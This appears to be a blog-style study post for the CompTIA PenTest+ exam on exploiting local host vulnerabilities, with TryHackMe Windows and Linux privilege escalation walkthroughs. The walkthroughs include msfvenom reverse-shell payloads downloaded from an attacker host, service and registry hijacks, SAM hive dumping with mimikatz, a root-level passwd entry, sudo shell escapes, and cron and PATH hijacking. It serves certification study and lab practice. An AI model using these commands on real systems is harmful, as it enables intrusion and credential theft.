CompTIA PenTest+ Chapter 3 Section 3.5, Exploit local host vulnerabilities
This will be quite a lengthy post, as it will cover topics all of which could easily have multiple articles on their own - but it is important to aggregate all this useful information into chapter section where it is easily accessible and covers everything within the PenTest+ Chapter 3.5 specification.
OS-specific vulnerabilities
In this first section I will give a brief overview of the kinds of flaws that most dangerous to each respective operating system . Common targets that hackers will go for in each particular target and the ease by which defenders can remediate these issues.
The ten main categories of vulnerabilities:
- Remote code execution
- Buffer heap overflows
- DoS
- Race conditions
- Privilege escalation
- Information disclosure
- Security feature bypass , like the UAC bypass.
- XSS
- XSRF
- Directory traversal
*nix-based hosts : iOS , Android , Mac OS , GNU Linux etc
This section houses operating systems that utilise the Unix-kernel , the Linux kernel or their own modified *nix Kernel like Mac OS. Some systems like Android and Linux will suffer from the fact that they don’t make it mandatory for their developers to use signed-signatures when developing applications - unlike Mac OS. This means hackers have one avenue here , likewise iOS has a very specific kernel which isn’t as battle-hardened as the Linux kernel - what saves it from being mashed up is that the source code is harder to get access to, there isn’t much adoption of it on a global scale (though that is changing).
Android is owned by Google and it is the operating system that goes on all sorts of phones like Samsung, Google Phones (duh), OnePlus etc. These are still fundamentally Linux and reuse a lot of functionality , applications are written slightly differently of course and are packaged into Android Package (APK) - usually written in some form of Java (or any language on top of the JVM). On the Android App Store, developers aren’t forced to sign their packages and it gives them more freedom - and makes it easier for attackers to produce malware. There is also the problem of side-loading which is an Android-specific vulnerability that allows a user to expand their range of possible software products by going into their settings
and clicking - allow software from third-party sources
. This gives attackers new avenues into the device.
Rooting is another thing that comes into play - which is adding root
to an Android system that usually operates only in user mode. This would mean you have the ability to delete system folders, any applications you wish - just like root
in Linux. Depending on the phone it may be easier or more difficult to root the system but this tutorial does quite a good job explaining the differences per manufacturers. Rooting essentially involves adding some extra files into the firmware , to load not just the standard user mode modules but also start the su
daemon , whereby it can be called like su
in Linux and we switch over into the root account. Some phones may put up resistance to the chip being flashed in this way …
Other , more general vulnerabilities include:
- Weak , default or simply no passwords for certain apps or to login to the phone.
- SQL Injection. There is a
sqlite
database which keeps track of user information, credentials etc. - Excessive app permissions - this is where applications may want access to the camera, microphone, contacts when all they are is a cookie clicker …
- Syncing data leakage. Where passwords are released after a massive data leak, guess what - attackers will try those passwords on you. Don’t be susceptible to password recycling.
- No antivirus.
- Lacking in patches and updates.
QuadRooter
are a suite of vulnerabilities that affect the Qualcomm chips - which is only about a billion devices. There patches however.- Certifi-gate mRST flaw. This is found in remote mobile support tools and allows an attacker to install a malicious app and then gain access to the device. This affects Android versions < 5.2.
- Stagefright MMS. This was where attackers sent malicious video messages that allowed it to be played by the native video player library without your knowledge and from there it would perform privilege escalation and remote code execution…
- Installer hijacking. This is where APK’s could be substituted for one’s that are infected.
Towelroot
is an Android kernel flaw all the way up to version 4.4.
Tools for working with Android include:
Drozer, an Android security assessment framework. Drozer has existing exploits built in and is designed to help assess the security posture of Android applications. The Drozer site also provides Sieve, an application that includes common Android security issues, allowing you to learn how to test Android security using a test application. You can find Drozer at https://labs.mwrinfosecurity.com/tools/drozer/. Using Drozer is as simple as setting it up, installing the Drozer agent and launching it, then using Drozer’s modules to test for an application’s attack surface, and finally using various modules to test the application based on the attack surface you discover.
APKX, a wrapper for various Java decompilers and DEX converters that allows you to extract Java source code from Android packages. If you want to directly analyse Java code inside of an APK, APKX provides a convenient way to do so. You can find it at https://github.com/b-mueller/apkx.
APK studio is an integrated development environment (IDE) designed for reverse engineering Android applications. APK studio hasn’t been updated since 2015 as of the writing of this book, but you can find it at https://github.com/vaibhavpandeyvpz/apkstudio.
Mac OS and iOS vulnerabilities now.
IOMobileFrameBuffer
. This is a weakness in the kernel which is used to manage the screen frame buffer. Due to misconfiguration it would allow attackers arbitrary code execution.- High Sierra. This was a ridiculously powerful flaw that allowed an attacker to log in as root , with no password. More on it here.
- Mactans. This is a USB charger that has the same principles as a Rubber Ducky in that it will aim to execute code when inserted into the system…
- Jailbreaking. This is essentially rooting for Apple devices, providing the user root access . This is done in a similar way too - overriding the firmware to bypass security controls , but this will mean the job of keeping your phone secure and to uphold private data is in your hands , as you will have invalidated your warranty.
Thunderstrike
. This is a kernel boot-kit which was designed to overwrite Mac OS X version 10 - the firmware more specifically. It got around by utilising maliciously modified peripheral devices that would be plugged into the thunderbolt interface. More on it here.- The
iCloud
API. This is where people were sent spear phishing emails to reset theiriCloud
password - then this was used to pull all their sensitive data … Before this became prevalent the API would allow an unlimited number of password brute-forcing attempts… MaControl
backdoor. This could be installed via a Trojan , social engineering attacks or however - then it would install a Command and Control centre - it was a monster of an APT.- Graphic driver vulnerability. This particular vulnerability allowed a DoS attack with a simple form of remote code execution.
Tools for testing iOS include:
- OWASP has an iOS application pen-testing tool called iGoat available for download at https://github.com/OWASP/igoat.
Sandbox escapes
Some of the techniques that malware can use when it wants to break out of a Virtual Machine, or to evade things like antivirus checks are:
- Extended sleep. Basically it doesn’t call any of the malicious modules whilst it knows it is being scanned; this could involve changing its structure and shedding the “bad code” etc.
- This leads me onto polymorphic malware. This is where it will change its shape every time it is ran so as to evade the antivirus and to always have a new signature which isn’t know to the database.
- Rootkits, this is where the virus aims to inject some code - replace certain files or hide dormant within core operating system locations. From there, the rootkit will allow the virus to run and the antivirus may not flag the location as it was called from a supposedly secure and trusted part of the operating system.
- Encrypted archives. This is more to do with the delivery of a malware. Hopefully by encrypting the code it can get past firewalls and at least onto the client’s system. But as soon as it would be unzipped then the antivirus gets to work trying to decode it. This leads me onto the second step below.
- Command and control is a decomposed structure of malware - broken down into two components. The first bit is called the dropper, or the stager , and it is a perfectly innocuous piece of code which should be able to bypass conventional antivirus as it merely makes a few HTTP requests and does everything that a regular app would do; however the destinations it makes calls to are malicious endpoints which request the second part of the malware. They connect back to the second part of the malware which is the Command and Control centre (C2) and commands can be sent to and fro…
- Binary packers are responsible for keeping the malware unreadable to antivirus software by constantly encrypting and alternating keys, hashes to keep it looking secure…
- Sandbox detection are internal modules within the malware itself - looking for things like the resolution of the desktop which may be the same dimensions as the default VirtualBox settings , and hence they would know they were in a testing VM and immediately shutdown. Good thing is, if we did genuinely get malware on a VM we used for work , the malware could be too scared to come out, but don’t bank on it !
Physical Security of the device
Now what happens when I get physical access to your device ? Well, it depends on the ports available - the operating system etc. The ones featured in the PenTest+ exam are to do with the configuration of the host and in the worst case scenario they would be susceptible to what’s called a cold boot attack. This is where the attack gets physical access to the laptop and when it is turned off , there is still some data residing in RAM , which can be extracted by memory dumping tools. They could boot an alternate OS and try their hand at extracting the data ; however, a lot of laptops will try to clear the RAM as they startup to avoid this issue - but this article notes how attackers can bypass even this safety feature… A cold boot attack is one of the most dangerous attacks out there, as it presupposes the attacker has access to the physical system, and so will put in their USB keys and boot from their chosen OS. Now the attack might stop here if the drive isn’t encrypted , but for systems that have employed FDE we shall need to be a bit more creative. To capture the encryption keys we can either: remove the memory modules from a running system and place them in our sandboxed system where we can examine the memory contents, using things like Mimikatz , or we can perform a cold-boot (full shutdown and restart) with a removable drive used to load an OS that can read the contents of pre-boot physical memory, which would show us bootloader tables and such.
Cold-boot attacks target unencrypted memory locations, allowing the theft of BitLocker and other encryption keys that are not protected by two-factor authentication. Cold-boot attacks require both technical sophistication and sufficient undisturbed access to a system to access system memory or boot it from an external drive, making them somewhat unlikely to occur in practice for most penetration testers—but they’re still part of the exam objectives! This guide gives a good practical tutorial.
Serial consoles. If we’re lucky enough to get hardware access for things like network routers, switches, Internet of Things (IoT) devices, or a multitude of other systems - we can go further and get console access via a serial connection. Penetration testers who can gain access to systems can sometimes acquire administrative access via serial consoles, these devices usually don’t have a video port or some sort of graphics display built in so they provide ports like these where we can connect like so:
In most cases, a serial console needs either a traditional 9-pin serial port or an RJ45 network port style connection directly to a device, allowing console access. Once you have found a device and have identified the manufacturer and type of device, you can typically find manuals that will provide details for how to connect to the serial console, default passwords (if they are even required), and what types of commands you can use from the console. With that information in hand, you may be able to take a variety of actions, ranging from changing system states to resetting the administrative password for the device as part of a recovery process! Because serial consoles typically require local physical access, many are designed as recovery consoles, allowing the locally connected user to bypass most or all security controls. That makes access to a serial console very desirable if you can get it!
JTAG Debug pins and ports. So of the serial console ports that can act as debug ports, JTAG is an industry standard for hardware debug ports that provide serial connections , so all JTAG ports are for debugging but obviously not all serial consoles are. Hardware hackers, including curious penetration testers, can connect to these JTAG debug test pins to conduct physical hardware attacks on devices including routers, IoT devices, and anything else that you can find JTAG pins or ports on! JTAG attacks are often used to recover firmware from devices, allowing you to analyse the device’s operating system and software for vulnerabilities and security issues like embedded passwords or back doors. They are used by manufacturers to test the functionality of the keyboard, the CPU etc. JTAG access can also allow you to use built-in debugging tools to craft more capable attacks by using the same tools developers did to test the device. It is often possible to use JTAG connections to test attacks that might not be possible without a direct on-device debugging console. The same debugging access also means that you may be able to pull passwords or encryption keys directly from memory while the device is live. While all of these attacks require direct physical access, if you can acquire a device and spend time with it, a JTAG port or pins may provide you with a wealth of information.
Resources:
Windows
The first and foremost problem I guess would be the fact that an operating system has to be such a low-level program, where speed is important and memory management has to be conducted by the program itself , there can be a lot of room for error as the developer has to make sure the code is safe, there is no potential buffer overflow attack etc. The C programming language is often used to meet requirements that most Operating Systems have , but by default it has no bounds-checking and very little care for how the developer chooses to program - contrast this with something like Python. Microsoft has to trust their developers to always use best practices such as unit testing, code reviews and for more sensitives parts of the codebase , static analysis and fuzzing.
Due to Windows being a closed-source product it means very few people are able to actually test the code and provide fixes. This is good in the short-run as it means zero-days can’t be found and the amount of research which can be done is slowed - but this external protection leads to a compounding of internal errors. Now that Windows 7 and 8 are going into their EOL phases it means those closed-source products are just punching bags for attackers … Microsoft won’t patch these old products and so critical vulnerability patches are done by third-parties.
One vulnerability was the IIS 5.0 Unicode error. This is where there were certain Unicode characters that could be thrown at the server for the purposes of directory traversals, remote code execution all from the browser URL. All we would need is a browser to execute this vulnerability. Another was the IIS 5.0 WebDAV . This was an extension of HTTP that Microsoft wanted people to use so that remote authors could edit content on the web . Now you can immediately see that proper authorisation is paramount for this not to be exploited , but just like the last vulnerability it is incredibly simple, nowadays metasploit
has a module which streamlines the process.
RPC/DCOM has been another heavily exploited feature as it is the framework which allows software components from different Operating systems to send messages to each other. An attacker could use RPC to send intentionally faulty messages which broke the client computer , allowing remote code execution.
The SMB NetAPI is an old service which came with Windows XP and peaked in 2003. It allowed the parsing of code , so remote code execution which could then be combined with a buffer overflow - granting system level privileges. Next up is Null sessions. This was a feature which allowed people to use anonymous connections and access the IPC$
share on Active Directory servers . This allowed anyone to get group memberships, shares, passwords , log files etc.
LanMan (LM) is an old hashing format which doesn’t use salts and so its subject to rainbow table attacks.
Finding passwords in a Windows system
The Windows architecture is setup so that when a user logs on , their username and password is stored within the Security Account Manager (SAM) which is a database and subset of the Local Security Authority (LSA) . LSA is what authenticates a user logging in and uses the credentials in SAM to check the login attempt. If successful the LSA starts the session for the user , but the passwords and tickets are all still kept in memory for further authentication checks … mimikatz
is thankful for this quirk.
SAM is a treasure trove of account information, storing information for:
- Users, computers and services.
- Third-party applications
- Private keys
- Certificates
- Kerberos Tickets
- LSA Secrets
It’s a registry hive stored within
%WINDIR%\system32\config\SAM
It gets loaded into memory every time the computer starts up. The passwords are stored using two types of hashes. The first is the LanMan (LM) hash. LM will convert it to upper case and then truncate or pad the string to be 14 characters long. The NT hash is an MD4 hash which is also unsalted , but can allow passwords of up to 128 characters in length.
SYSKEY. I highlight this for good reason as it is the key which is used to encrypt the SAM database itself and other LSA secrets. By including this key as part of the encryption process it should make cracking those hashes more difficult. This key can also be stored in the registry and you can check this by going to:
System\currentcontrolset\control\Lsa
It has four different sub-keys
JD, Skew1, GBG, Data
which can be included in different encrypting/decrypting roles.
Finding passwords inside of Active Directory
ntds.dit
is the file which Active Directory uses to store usernames and passwords of all users. It is stored on a domain controller’s hard drive - all domain controllers need to have a replicate of this file. It uses the same hashes :
MD4 (NT hash)
LM -- disabled by default.
DES_CBC_MED5 which is used for kerberos tickets - MD5 used 4,096 times over...
AES_256_CTS_HMAC_SHA1
MD5
Reversibly encrpyted cleartext password ... a total joke -- also disabled by default.
Password Cracking options
- Brute-forcing across the network
- Dumping credentials from memory
- Offline cracking
- Extracting the
SYSKEY
boot key - Dumping locally cached domain login information
- Stealing Group Policy Passwords (GPP) files to extract stored passwords.
- Unattended installation answer file. This is where credentials are put into a file to quicken the installation of an Operating System so they don’t have to put them in manually. Only problem is, these files could be left on an admin account and we can pivot to other machines fairly easily.
- Implement keylogging
- Social engineering
- With physical hacking we could start an alternate OS and rewrite entries…
Exploiting Windows host vulnerabilities
I will be using the Windows Privesc TryHackMe room and the Windows 10 machine that comes with it.
First things first we will need a shell on the target system… Seeing as I’m already on the Windows machine I just need to click the .exe
file that we create our the connection between the two boxes is done. I’ll be creating a directory called shell
as I will be hosting this directory . First let’s create the payload with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=*YOUR-IP* LPORT=4444 -f exe -o shell.exe
Starting this with a python
server I can download it onto the client:
Invoke-WebRequest -Uri http://10.2.70.25:8000/shell.exe -OutFile shell.exe
Start up metasploit
but don’t connect just yet ! This would only be within user space, we need to find a way to get the shell running with an Administrator or SYSTEM
level permission.
Service Exploits - Insecure Service Permissions
This type of vulnerability comes under “Writable services” - as we will be modifying the service that both:
- The user has access to and the permissions to modify.
- The service itself is running with higher-level permissions.
We can check what services a user has access to with the aptly named accesschk.exe
program. This program comes with the VM at C:\PrivEsc\accesschk.exe
. First time launching make sure to accept the license agreement , this can also be done with /accepteula
.
Now let’s see the options to get an understanding of what we can do:
The options that will be most important to us are:
-c ;; Service name is a Windows service like daclsvc
-w ;; Show only the services which the user has writeable access to. That saves time!
-u ;; Suppress errors
-v ;; verbose output
-q ;; Omit banner
accesschk [options] [username] [service,process,directory etc we want to check perms of]
accesschk -cwuvq user daclsvc
This is the vulnerable service used in this exercise, and we can see this user has write permissions to quite a few different parts of the service, we can also change the config as well as query it.
Querying the service we see that it meets the last bit of our criteria - it runs with SYSTEM
privileges!
Knowing that we can change the config :
;; point to where our shell.exe is
sc config daclsvc binpath= "\"C:\path\to\reverse.exe\""
;; and start
net start daclsvc
If the meterpreter
shell always seems to crash, then try downgrading to a regular shell and see if it holds.
;; use the windows/x64/shell_reverse_tcp payload
;; use nc -lvnp 4444 to listen ...
Extracting the system
and SAM
hives
Now that we have an admin level shell, we will want to open a command prompt as Administrator as we will want to create two new registry hives - which are essentially repositories by which entries could be inserted and “lookup-able” by anyone else who has access to the immense directory that is the registry.
To extract the system
and SAM
hives we will create snapshots
;; format reg save [directory-path-ofSAM] [the-path-to-our-copy]
reg save hklm\sam win10-sam.hiv
reg save hklm\security win10-sec.hiv
We will need mimikatz
as it has the appropriate modules to look through and dump all the gold in these files, so move it on over to the target with python
, or whatever method you wish. Using this shell which has a SYSTEM
privilege we should be able to load mimikatz
with things like
privilege::debug
If this responds with 20 OK
then our shell has the right permission level. For dumping the SAM database and looking through it we also need to run
token::elevate
Which will either try to impersonate a token or - if we have system rights - find a domain admin token on the box using the Windows API.
Now we can dump those .hiv
files
We can offline crack this along with all the other keys and accounts we got. Just under the command itself you can see we have found the SysKey
, SAMKey
and the default salt for Kerberos … Now you see why you shouldn’t give hackers SYSTEM
level privileges !
More registry Shenanigans ! Weak Registry Permissions
Let’s take a look at the regsvc
service configuration:
In the registry we can keep records of pretty much anything we please and when we start a service, it does look in the registry for a corresponding entry - hence you better make sure that those entries aren’t writable ! Using accesschk.exe
once again we can see the registry entry for the regsvc
service is writable by the NT AUTHORITY\INTERACTIVE
group - which is all logged-on users basically.
And from here all we need to do is overwrite the registry entry at this exact same location …
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Users\user\shell.exe /f
Now when we start the service with
net start regsvc
You’ll get another SYSTEM
level shell…
Using the unquoted service path vulnerability
When changed the service config earlier, and changed it to the path of our reversal shell program - we gave the path wrapped in quotes. When no quotes are used , then Windows will check for an executable at every breakpoint - at every \
.
The VM gives an example of this poor service, by doing
sc qc unquotedsvc
We don’t want to check our access rights on the service, as we won’t be editing the configuration itself but what we want instead is to add an executable within the service’s path. Do we have the permissions to write inside the directory ?
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
We are in the Users group and hence we have write access. What we want to do is rename our shell.exe
to Common.exe
as this will now be before the actual executable and because it is unquoted it will search all segments of the path - in order - until it finds any matches. Thus all we need to do is copy:
Now when we start the service you should see that your corresponding Kali listener picks up our script…
net start unquotedsvc
Privilege Escalation Scripts to enumerate Windows scripts
winPEASany.exe
Seatbelt.exe
PowerUp.ps1
SharpUp.exe
Exploiting Linux host vulnerabilities
There are quite a few unique vulnerabilities in Linux stemming from the ways in which file permissions are assigned, group permissions are assigned - how programs communicate back and forth with the kernel etc (though this can be an issue for any computer system).
The first vulnerability I want to highlight is called ret2libc
. Essentially, a program which utilises the low-level C libraries for any standard operation will make a call to system
. What we need to do is perform a buffer overflow attack to break out of the program space - which will mean we have to track down and find things like the return instruction pointer (rip) in the debugger and then we call the libc
library with something like /bin/bash
and we should have a root shell. There is a great tutorial on how this can be achieved by using gdb
and pwntools
. This attack can be refuted though with something called ASLR or Address Space Layout Randomisation which basically uses different addresses each time any program is run - so when we debug it looking for key addresses that denote the end of the buffer for example, that would change when we wanted to conduct the exploit for real … We would have to disable this on a user’s system : echo 0 > /proc/sys/kernel/randomize_va_space
.
Insecure sudo
is where the permissions assigned to applications and or users is misconfigured. For example, if I gave a user root
level privileges when accessing the vim
program then they could launch things like bash
- which ordinarily would have the same permissions they do, but seeing as it was running in root
space they now meddle with the system !
Sticky bits are permissions bits and regulate the ability to delete contents in a file - unless you are a given user. The sticky bit can be placed on a directory which basically sets the ownership of it to a particular user. If we were to pivot to that user and have the account’s privileges then we could do the following hypothetical scenario. There is a program which frequently uses a particular .config
directory for writing your configuration changes and it would be bad if an attacker could make any modifications to this directory. When you see a sticky bit on a directory it basically indicates that the contents cannot be deleted - and further enumeration would make clear exactly what program is needing this space. It makes us want to pivot to that user and start meddling with the files in that directory - which may cause a buffer overflow or DOS attack.
Lastly are the SUID/GUID executables which are bits set in regards to executing a program. The nightmare would be that the root user has set an executable with their SUID (sudo
User ID) and so whomever runs that program will do so in their user space … Same thing can be done with a group UID and they will get the permission of the group temporarily.
Going back to more exploitation than misconfiguration is the dirtyC0w
bug which is a kernel exploit - C0w
actually being copy-on-write, and is a race condition where some kernel functions would allow you to write to read-only files … You could use this to write to the file which disables ASLR and conduct ret2libc
attacks , or you could rewrite the /etc/shadow
file …
Linux Practical Exploitation examples
I will be using the Linux Privesc TryHackMe room and the Linux VM machine that comes with it.
I’ll SSH into the current machine and the first thing we will want to do is find the user name, group names and their corresponding IDs for the account we logged into. That can all be given to us with one command:
;; more info at https://linuxize.com/post/id-command-in-linux/
id
uid=1000(user) gid=1000(user) , groups=1000(user),24(cdrom), 25(floppy),29(audio)
,30(dip),44(video),46(plugdev)
;; we could also supply a username to get their ids
id root
uid=0(root) gid=0(root) groups=0(root)
And to see who is currently logged on we could type the who
command. This would give us some usernames to plug into id
and more devilishly we could find their current terminal session - mine by the first is pts/0
and we could send a slew of /dev/urandom
data and mess with their shell prompt.
Checking the Shadow file for weak file permissions
The /etc/shadow
file contains user password hashes and is usually readable only by the root user… But in this case we can see it is readable by anyone:
We can copy the root hash to a separate file and feed it to John. It will need what is between the first and second colons.
So for the hash above we would put into a file :
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
Being that we’re using SSH we can use scp
to transfer the files back and forth:
Now kali
is very strict about opening ports - as it should be - so we quickly turn on SSH and off once we have the file
;; start ssh, make sure to enable PermitRootLogin yes
systemctl start ssh
;; stop ssh
systemctl stop ssh
With that done I’ll just defer to john
with the standard rockyou
wordlist and boom !
Note : The algorithm used was SHA512crypt , but crypt refers to the POSIX C library
function which was used to perform the SHA-512 encryption.
Imagining the worst security error in Linux for a moment, a writable /etc/shadow
file would mean that anyone could change the root hash entry just by doing :
mkpasswd -m sha-512 *enter-password-here*
Take the hash generated by this tool and replace it for the hash in the file for root
, then just su root -
and you’re in.
Writable /etc/passwd
This file used to be where usernames and password hashes were all bunched together , but being able to separate means the /etc/passwd
file can be publicly readable and can share all of its user information to applications and the OS without fear of being compromised. This makes things more functional and only the /etc/shadow
file has the limitations of being only read and written by root.
The /etc/passwd
file has information on each account which is needed by the OS at login - information like:
- User ID
- Group ID
- Home directory location
- Type of shell - is it
/bin/bash
,/bin/zsh
etc.
Let’s break down the entries within the file:
Looking at the first entry for root
root:x:0:0:root:/root:/bin/bash
root -> name of the account, between 1 and 32 characters in length.
x -> placeholder for the hashed password, in /etc/shadow.
0 -> user id (UID). Zero is reserved for root, 1-99 for predefined accs.
0 -> group id (GID). Zero reserved for root, GIDs all stored in /etc/group.
root -> comment info, could put phone number, full name etc.
/root -> home directory of the user.
/bin/bash -> shell to use for the account.
Snapshot of some of the Group IDs in /etc/group
.
Now then, if the /etc/passwd
file is writable - which also contains information about user accounts - then we could store hashes here if we wanted as some versions of Linux will still defer to /etc/passwd
and won’t need all hashes to be in the shadow
file.
;; generating the hash this way
openssl passwd *enter-password-here*
Now edit the /etc/passwd
file and place the generated hash in between the first and second colon where the root
user’s row is. Where the “x” is to denote what has been moved to shadow
…
And once again, switch to root with su root -
.
We could do a similar thing and make a new account with the hash included in that file:
The -1 is to signify the first of the six different encryption options you have for hashing the password. See the full list that /etc/shadow
uses here.
We can create an MD5 hash like so:
This is used within the appropriate entry:
hacker:$1$badsalt$CDsvxM2mcgvaNuYuETUHV.:0:0:hacker:/hacker:/bin/bash
sudo
vulnerabilities
As I hope you already know, sudo
is the tool which allows an administrator to allocate root privileges to individual users, groups or for them to execute certain programs with them. sudo
however can be mismanaged as complexity grows , which can allow programs which didn’t need root permissions to be ran as root and hence they could make changes to the system. Tools that initially seem innocuous can be leveraged by attackers to start shells , edit files - anything the program could possibly change will be exploited.
We can list the programs that sudo
allows us to run with:
sudo -l
Usually accounts will just be part of the wheel
group or have the ability to look for programs on the PATH
, but here there are fixed number of programs that can be ran with root permissions. To find out how to use this programs to gain root access we can turn to gtfobins , type in the name of the Linux binary and it will show you how - pretty handy !
Let’s take the first program as an example - iftop
tracks bandwidth usage per network interface normally but we can start a shell by doing
sudo iftop
;; this gets us into the interactive console, similar to top,netstat etc...
!
;; this escape sequence is sort of like ":" in vim and allows us to execute commands
;; in this case we can type /bin/sh
;; and it loads the shell
We can see environment variables LD_PRELOAD
and LD_LIBRARY_PATH
are kept when for this user profile - the only problem is we can edit these
cron
vulnerabilities
This is a daemon that executes commands at specific dates and times. You can use this to schedule activities, either as one-time events or as recurring tasks. You can create a crontab
file containing commands and instructions for the cron
daemon to execute.
We can see what jobs are scheduled by doing
cat /etc/crontab
Format of a Cronjob
Cronjobs exist in a certain format, being able to read that format is important if you want to exploit a cron job.
# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run
For Example,
# The * denotes "all" , so every day of week , every month ...
# m h dom mon dow user command**
17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly
SUID / GUID Executables
This is a class of exploits that leverage the power of sticky-bit UIDs - which is where an owner of a file , hopefully root
, and so when the file is ran it will be ran using the rules of that account. So in theory anyone could launch the script and it would execute in a high-privilege space.
We can find all SUID/GUID files on a system by typing
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
The challenge wants us to exploit this file, and there is an exploit for this version of the exim
Mail Agent. The exploit script is already on our system at /home/user/tools/suid/exim/cve-2016-1531.sh
all we have to do is run it.
Shared Object Injection is pretty much what it says on the tin, we will want to find out what programs a script needs and then make the same object at the same location - with all but one tweak , we add the code for a reverse shell in there. We inject the file into the directory the script looks for the shared objects and it should run our code…
For this example the /usr/local/bin/suid-so
file is vulnerable to shared object injection , which we can affirm by using the strace
tool to look for system calls:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
This last call here shows that it is missing the libc.so.6
file - now it’s time to put that file into the .config
directory and see if we get a shell.
;; make the .config directory
mkdir /home/user/.config
;; compile the shared object code at /home/user/tools/suid/libcalc.c
gcc -shared -fPIC /home/user/tools/suid/libcalc.c -o /home/user/.config/libcalc.so
;; run the script
/usr/local/bin/suid-so
More Linux Exploitation Examples …
This will be a nice introduction to the concept of privilege escalation on Linux systems, alongside some general concepts to help you with compromising machines of any sort.
When we first land on the system , it is unlikely we will have administrator privileges , so we will need to either exploit the vulnerabilities of the account we have landed on to get administrator access - or we pivot to another user who may belong to a group we need etc.
We can see this idea here, rising to admin level would be a vertical privilege escalation and bouncing over to another user is horizontal privilege escalation. To figure out our plan of action, to see which option is necessary (or in fact, our only solution) we need to perform thorough enumeration.
As we’ve discussed, we start with the main attack vectors:
- The kernel versioning, are there problems with this type of kernel ? That is most likely to offer a quick way to vertically privilege escalation…
- Are there are files improperly assigned permissions, is the
/etc/passwd
file writable ? That would be a disaster? - What about the privileges we were given with
sudo
and other users? If we are allowed to runsudo vim
then we would be allowed to run it as root and hence spawn a shell. - This can also happen if
vim
was set with an SUID bit , which means just executing it normally would land us in root space. cron
jobs are also worth taking a look at, seeing if we can inject a process, replace the file if possible for our reverse shell code etc.
Gosh, this sounds like a lot of work to do you say - well, you would be right ! Ordinarily this would be pretty time consuming , but there are some scripts we could throw on over to the client machine and automate this work for us, the main ones are:
linEnum.sh
linpeas.sh
lse.sh
In this tutorial I’ll be showing the use of the first one so we’ll need to put this on the host - quickest was just to use a python
server and pull it with
wget http://10.10.*.*:8000/linenum.sh
This will output a huge amount of data - things we will want to look back on and examine , so it’s recommended you put it within a file
./linenum.sh > results.txt
Looking through the results we find something interesting within the cron
jobs
This script runs every five minutes and sticks out from the otherwise blank jobs-board - let’s explore this further. We can cat
the file from our user3
account but what’s better is we can su
into user4
as they have the same password…
Now we can make changes to the file, what we will want to do is generate an msfvenom
payload on our attack box, then transfer it over. mv
the contents of our script into autoscript.sh
and cron
will do the work of executing it. Looking back at the output from
cat /etc/crontab
We know that root
is the one launching the script and hence it runs in root
space … this is why we’ve chosen to target this script in particular.
First make the script and host it
Then pull it down
Last thing to do is mv shell.sh autoscript.sh
but before that I want to set up the netcat
listener:
nc -lvnp 8888
All we have to do is wait and we should get a root
shell:
Exploiting PATH
variables
The PATH
variable is a convention in Linux that is a collection of directory paths which hold key executables: when we type in ls
at the terminal for example, the PATH
variable is used within the call to search all the listed directory points to run a program called ls
.
Let’s say we have an SUID program that utilises a program on the path like ls
. Well, if we go to a directory like tmp
and make a program which has the exact same name, then add /tmp
onto the PATH
like so:
export PATH=/tmp:$PATH
Crucially, tmp
is at the front so as to allow our choice to be selected first - which has a similar idea to the unquoted service paths, where we try to become the first option for execution.
We can see that the script needs ls
so what we can do is go to tmp
, make an executable called ls
and instead of showing the contents of the directory we’re going to start a bash shell - leveraging the root permissions of this script.
We see our script works as ls
now opens a shell !